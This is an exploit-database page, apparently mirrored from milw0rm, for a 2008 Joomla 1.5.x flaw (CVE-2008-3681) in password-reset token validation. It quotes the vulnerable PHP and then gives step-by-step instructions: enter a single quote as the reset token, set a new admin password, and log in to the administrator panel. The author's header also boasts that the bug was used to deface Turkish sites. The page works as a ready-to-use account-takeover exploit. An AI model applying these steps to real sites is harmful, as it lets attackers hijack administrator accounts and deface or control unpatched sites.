Lucene search
+L

Joomla! 1.5.x - 'Token' Remote Admin Change Password

🗓️ 12 Aug 2008 00:00:00Reported by d3m0nType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 605 Views

Joomla 1.5.x Remote Admin Password Change 'Token' Bu

Related
Code
ReporterTitlePublishedViews
Family
FreeBSD
joomla -- flaw in the reset token validation
14 Aug 200800:00
freebsd
Circl
CVE-2008-3681
12 Aug 200800:00
circl
CVE
CVE-2008-3681
14 Aug 200819:00
cve
Cvelist
CVE-2008-3681
14 Aug 200819:00
cvelist
Tenable Nessus
FreeBSD : joomla -- flaw in the reset token validation (8514b6e7-6f0f-11dd-b3db-001c2514716c)
21 Aug 200800:00
nessus
Tenable Nessus
Joomla! reset.php Reset Token Validation Forgery
13 Aug 200800:00
nessus
NVD
CVE-2008-3681
14 Aug 200819:41
nvd
OpenVAS
FreeBSD Ports: joomla15
4 Sep 200800:00
openvas
OpenVAS
FreeBSD Ports: joomla15
4 Sep 200800:00
openvas
Prion
Design/Logic Flaw
14 Aug 200819:41
prion
Rows per page
#####################################################################################
####                     Joomla 1.5.x Remote Admin Password Change               ####
#####################################################################################
#                                                                                   #
# Author: d3m0n ([email protected])                                                       #
# Greets: GregStar, gorion, d3d!k                                                   #
#                                                                                   #
# Polish "hackers" used this bug to deface turkish sites BUAHAHHA nice 0-day pff    #
#                                                                                   #
#####################################################################################



File : /components/com_user/controller.php

#####################################################################################
Line : 379-399

	function confirmreset()
	{
		// Check for request forgeries
		JRequest::checkToken() or die( 'Invalid Token' );

		// Get the input
		$token = JRequest::getVar('token', null, 'post', 'alnum');              < --- {1}

		// Get the model
		$model = &$this->getModel('Reset');

		// Verify the token
		if ($model->confirmReset($token) === false)   < --- {2}
		{
			$message = JText::sprintf('PASSWORD_RESET_CONFIRMATION_FAILED', $model->getError());
			$this->setRedirect('index.php?option=com_user&view=reset&layout=confirm', $message);
			return false;
		}

		$this->setRedirect('index.php?option=com_user&view=reset&layout=complete');
	}

#####################################################################################

File : /components/com_user/models/reset.php

Line: 111-130



	function confirmReset($token)
	{
		global $mainframe;

		$db	= &JFactory::getDBO();
		$db->setQuery('SELECT id FROM #__users WHERE block = 0 AND activation = '.$db->Quote($token));  < ---- {3}

		// Verify the token
		if (!($id = $db->loadResult()))
		{
			$this->setError(JText::_('INVALID_TOKEN'));
			return false;
		}

		// Push the token and user id into the session
		$mainframe->setUserState($this->_namespace.'token',	$token);
		$mainframe->setUserState($this->_namespace.'id',	$id);

		return true;
	}
#####################################################################################



{1} - Replace ' with empty char
{3} - If you enter ' in token field then query will be looks like : "SELECT id FROM jos_users WHERE block = 0 AND activation = '' "


Example :


1. Go to url : target.com/index.php?option=com_user&view=reset&layout=confirm

2. Write into field "token" char ' and Click OK.

3. Write new password for admin

4. Go to url : target.com/administrator/

5. Login admin with new password

# milw0rm.com [2008-08-12]

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Sep 2017 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 27.5
EPSS0.09399
605